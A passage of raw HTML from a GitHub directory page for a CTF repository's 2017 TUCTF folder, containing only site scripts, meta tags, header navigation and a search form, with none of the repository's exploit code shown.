src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF/ctf_in_2017/tuctf at master · vngkv123/CTF · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="9AFC:1F9B:4F70A8D:519DA7C:6412274C" data-pjax-transient="true"/><meta name="html-safe-nonce" content="f9242c003bbe90cfa98c0ccbd5a22fc0019d046d4526e2bba63106aecf8b79b8" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5QUZDOjFGOUI6NEY3MEE4RDo1MTlEQTdDOjY0MTIyNzRDIiwidmlzaXRvcl9pZCI6IjY4MTE3NzM4MzA1NDcyNTMwNjgiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="52a1afe90ad9385f1c0c618fd62f26400cd3f1baa1f66c7e9736096023e9e842" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:105910326" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/3b852ed880f940a842d76ce5add711912e8c0ec5e677285225174b55136f2d45/vngkv123/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/ctf_in_2017/tuctf at master · vngkv123/CTF" /><meta name="twitter:description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/3b852ed880f940a842d76ce5add711912e8c0ec5e677285225174b55136f2d45/vngkv123/CTF" /><meta property="og:image:alt" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/ctf_in_2017/tuctf at master · vngkv123/CTF" /><meta property="og:url" content="https://github.com/vngkv123/CTF" /><meta property="og:description" content="CTF binary exploit code. Contribute to vngkv123/CTF development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/vngkv123/CTF git https://github.com/vngkv123/CTF.git">
<meta name="octolytics-dimension-user_id" content="15422891" /><meta name="octolytics-dimension-user_login" content="vngkv123" /><meta name="octolytics-dimension-repository_id" content="105910326" /><meta name="octolytics-dimension-repository_nwo" content="vngkv123/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="105910326" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vngkv123/CTF" />
<link rel="canonical" href="https://github.com/vngkv123/CTF/tree/master/ctf_in_2017/tuctf" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="105910326" data-scoped-search-url="/vngkv123/CTF/search" data-owner-scoped-search-url="/users/vngkv123/search" data-unscoped-search-url="/search" data-turbo="false" action="/vngkv123/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" 